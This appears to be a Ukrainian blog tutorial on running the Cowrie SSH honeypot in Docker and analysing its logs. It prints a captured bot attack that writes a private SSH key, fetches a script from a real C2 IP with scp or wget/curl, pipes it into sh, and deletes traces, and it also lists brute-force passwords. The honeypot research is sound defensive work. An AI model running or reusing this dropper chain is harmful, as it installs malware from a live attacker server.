Post

Cowrie SSH Honeypot: як я пустив хакерських ботів на VPS і записав кожен їхній крок

Cowrie SSH Honeypot: як я пустив хакерських ботів на VPS і записав кожен їхній крок

🇬🇧 Read this article in English


У попередній статті про Endlessh ми розбирали концепцію «смоляної ями» — пастки, яка тримає хакерських ботів на стадії вітального банера й марнує їхній час тижнями. Це весело, ефективно й суттєво розвантажує сервер.

Але зізнайтеся: кожному системному адміністратору хоч раз було цікаво: «А що саме роблять хакери, якщо їм таки вдається підібрати пароль і увійти всередину?» Які команди вони виконують першими? Які паролі сьогодні в топі ботнетів? І які віруси вони намагаються завантажити на ваш сервер?

Сьогодні ми піднімемо ставки: замість того, щоб тримати двері замкненими, ми відчинимо їх навстіж за допомогою інтерактивного SSH-ханіпота Cowrie.

Інтерфейс аналізу сесій та логів Cowrie Мал. 1. Термінал Cowrie: перехоплення сесії атакуючого, виконання розвідувальних команд і блокування завантаження шкідливого коду


Що таке Cowrie і як влаштована пастка?

Cowrie — це інтерактивний SSH та Telnet ханіпот середнього рівня взаємодії (Medium-Interaction Honeypot).

На відміну від Endlessh, який не дає боту навіть ввести логін, Cowrie розігрує перед атакуючим виставу:

  1. Люб’язно приймає пароль: якщо бот перебирає стандартні комбінації (root:P@ssw0rd, admin:admin, ubuntu:123456), Cowrie каже «Ласкаво просимо!» і впускає його в систему.
  2. Імітує повноцінний Linux-шел: бот бачить запрошення командного рядка (наприклад, root@svr04:~#), фальшиві файли /etc/passwd, процеси в ps aux та інформацію про ядро в uname -a.
  3. Записує абсолютно все: кожне натискання клавіші, кожну введену команду та виправлення опечаток.
  4. Перехоплює завантажені файли: якщо атакуючий намагається виконати wget, curl або передати файл через SFTP, Cowrie завантажує цей файл, але не виконує його, а безпечно складає в ізольовану папку-карантин на вашому диску для подальшого аналізу.
  5. Записує сесію як відео (ttyrec): ви можете буквально відкрити запис сесії й спостерігати на екрані, з якою швидкістю бот чи живий хакер вводив команди.

При цьому реальний ваш сервер залишається в цілковитій безпеці: ханіпот працює в ізольованому Docker-контейнері й ніколи не дає зловмиснику реального доступу до ядра вашої хост-системи.


Крок 1. Підготовка портів та архітектури

Щоб запустити Cowrie на публічному VPS, важливо чітко розділити порти:

  • Ваш справжній адмінський SSH: має бути на високому порту (наприклад, 1234, як ми налаштовували в статті про Endlessh).
  • Порт пастки Cowrie:
    • Можна запустити на порті 2222 — це найпопулярніший альтернативний SSH-порт у світі. Коли боти сканують діапазони IP, вони обов’язково перевіряють 2222, вважаючи, що адмін «сховав» туди свій справжній вхід.
    • Або можна тимчасово виставити Cowrie на стандартний порт 22 для максимального улову.

Крок 2. Розгортання Cowrie в Docker

Офіційний образ cowrie/cowrie:latest запускається за лічені хвилини:

  1. Створимо каталог для конфігурації та збережених даних:
    1
    2
    3
    
    sudo mkdir -p /opt/cowrie/cowrie-var /opt/cowrie/cowrie-etc
    sudo chown -R 1000:1000 /opt/cowrie/cowrie-var
    cd /opt/cowrie
    
  2. Створимо файл docker-compose.yml:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
    version: '3.8'
    
    services:
      cowrie:
        image: cowrie/cowrie:latest
        container_name: cowrie
        restart: unless-stopped
        ports:
          - "2222:2222"   # Зовнішній порт 2222 спрямовуємо у пастку
        volumes:
          - /opt/cowrie/cowrie-var:/cowrie/cowrie-var
          - /opt/cowrie/cowrie-etc:/cowrie/cowrie-etc
    
  3. Запускаємо пастку:
    1
    
    docker compose up -d
    

(Або через швидку пряму команду: docker run -d --name cowrie --restart unless-stopped -p 2222:2222 -v /opt/cowrie/cowrie-var:/cowrie/cowrie-var cowrie/cowrie:latest).

Переконайтеся, що порт 2222/tcp відкритий у фаєрволі вашого сервера (sudo ufw allow 2222/tcp або sudo firewall-cmd --permanent --add-port=2222/tcp && sudo firewall-cmd --reload).


Крок 3. Тестуємо пастку на собі

Перш ніж дивитися на чужих ботів, давайте самі заглянемо у кролячу нору:

1
ssh -p 2222 root@your-vps-ip

Введіть будь-який простий пароль (наприклад, root або 123456).

Вуаля! Вас зустріне привітання сервера Debian, а в терміналі з’явиться робочий шел. Спробуйте виконати команди:

1
2
3
4
uname -a
cat /proc/cpuinfo
cat /etc/shadow
ls -la /root

Ви помітите, що система поводиться дуже правдоподібно, повертає типові помилки прав доступу й виводить стандартні структури файлів. Але насправді це все — віртуальний Python-процес Cowrie, який ретельно документує кожну вашу літеру.


Крок 4. Реальний улов за 3 дні: розбір справжньої атаки

Ми залишили Cowrie попрацювати на порту 2222 на нашому VPS протягом 3 днів. Результати перевершили всі очікування: зафіксовано понад 30 000 подій у журналі cowrie.json!

Топ облікових записів, які перебирали боти:

У логах чітко видно, що в трендах сучасного автоматизованого сканування:

  1. support : support
  2. admin : admin
  3. root : P@ssw0rd
  4. ubuntu : 123456
  5. root : ---fuck_you---- (хтось явно має специфічний словник брутфорсу)

Анатомія реальної атаки: впровадження C2-дропера та крадіжка ключа

Серед тисяч однотипних спроб наш Cowrie зловив справжню цільову багатоетапну атаку. Погляньте на реальний фрагмент команд, які ввів бот одразу після успішного входу:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm;
echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ
...
-----END OPENSSH PRIVATE KEY-----' > key.ppk;
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg;
chmod 400 key.ppk;
scp -s -F sshcfg -i key.ppk dlr@217.60.103.56:sh out_sh;
if [ $? -eq 0 ]; then
  chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1;
else
  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh;
fi;
rm -rf sshcfg key.ppk out_sh

Що тут відбувається крок за кроком?

  1. Розвідка оточення: бот виконує uname -a, перевіряючи ядро, та виводить у hex \x61\x75\x74\x68\x5F\x6F\x6B\x0A (auth_ok), щоб переконатися, що зв’язок стабільний.
  2. Пошук каталогу для запису: переходить у /tmp, /var/tmp або /dev/shm — стандартні місця, де користувачам дозволено запис.
  3. Створення плацдарму: закидає в файл key.ppk свій приватний SSH-ключ dlr@sftp і генерує тимчасовий sshcfg, який вимикає перевірку сертифікатів хоста.
  4. Спроба завантажити другу фазу (Dropper): через захищене з’єднання scp стукає на свій C2-сервер 217.60.103.56 за шкідливим скриптом sh.
  5. Резервний канал: якщо SCP не вдається, атакувальник автоматично запускає fallback через wget чи curl безпосередньо у командний інтерпретатор: | sh -s ssh.
  6. Замітання слідів: в кінці обов’язково видаляє key.ppk, sshcfg та завантажений файл out_sh.

Що зробив Cowrie?

  • Він дозволив боту виконати всі команди й вивести фейкове підтвердження auth_ok.
  • Перехопив приватний SSH-ключ зловмисника і зберіг його у нашу директорію downloads/ для дослідження!
  • Заблокував виконання реального шкідливого скрипта на сервері.
  • Записав весь цей ланцюжок дій у форматі ttyrec у папку tty/.

Крок 5. Аналіз логів через jq

Усі події Cowrie записує у зручний JSON-формат (cowrie.json). Ви можете витягувати звідти будь-яку аналітику за допомогою однієї команди:

  • Подивитися успішні входи з IP-адресами та паролями:
    1
    
    jq -r 'select(.eventid=="cowrie.login.success") | "\(.src_ip) -> \(.username):\(.password)"' /opt/cowrie/cowrie-var/log/cowrie/cowrie.json
    
  • Подивитися, які саме команди вводили атакувальники:
    1
    
    jq -r 'select(.eventid=="cowrie.command.input") | "\(.src_ip): \(.input)"' /opt/cowrie/cowrie-var/log/cowrie/cowrie.json
    
  • Переглянути перехоплені завантаження: Усі файли, які боти намагалися створити чи завантажити, зберігаються в папці /opt/cowrie/cowrie-var/lib/cowrie/downloads/ із SHA256-хешами замість імен, що дозволяє безпечно перевіряти їх на VirusTotal.

Висновок: від пасивного захисту до активної розвідки

Якщо Endlessh — це спосіб зв’язати ботам руки, то Cowrie — це повноцінна станція цифрової розвідки (Threat Intelligence) на вашому особистому сервері.

Замість того, щоб сліпо блокувати невідомі IP-адреси у Fail2ban, ви на власні очі бачите:

  • актуальні словники паролів, які ботнети використовують просто зараз;
  • адреси центрів управління (C2-серверів), звідки завантажуються бот-скрипти;
  • техніки маскування та закріплення в системі.

Розгортання займає лише 5 хвилин, а спостереження за реальними діями кіберзлочинців дає уявлення про безпеку набагато краще, ніж будь-який підручник. 🍯🕵️‍♂️

This post is licensed under CC BY 4.0 by the author.